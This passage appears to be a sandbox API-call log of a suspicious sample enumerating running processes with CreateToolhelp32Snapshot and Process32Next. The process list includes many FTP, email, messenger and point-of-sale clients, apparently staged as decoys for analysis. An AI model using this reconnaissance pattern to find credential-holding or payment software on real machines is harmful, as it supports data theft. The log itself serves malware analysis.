(dwMilliseconds=0x64) [0227.570] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0227.788] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.791] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0227.793] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0227.795] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.798] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0227.858] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.860] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0227.863] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0227.865] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0227.867] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.869] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.870] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0227.872] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.873] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.875] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.876] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.878] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.880] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.881] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.883] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0227.884] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0227.886] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0227.887] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.929] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0227.931] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0227.932] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0227.934] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0227.935] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.937] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0227.938] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0227.940] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0227.942] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0227.944] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0227.946] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0227.947] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0227.949] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0227.950] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0227.952] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0227.953] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0227.955] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0227.956] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0227.958] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0227.959] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0227.961] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0227.962] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0227.964] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0227.965] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0227.967] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0227.968] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0227.970] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0228.021] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0228.023] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0228.025] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0228.026] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0228.028] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0228.029] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0228.032] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0228.034] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0228.038] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0228.041] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0228.043] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0228.046] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0228.048] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0228.051] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0228.054] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0228.057] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0228.059] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0228.061] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0228.117] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0228.119] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0228.121] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0228.123] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0228.126] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0228.128] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0228.131] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0228.132] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0228.134] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0228.137] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0228.139] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0228.140] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0228.142] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0228.144] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0228.146] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0228.148] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 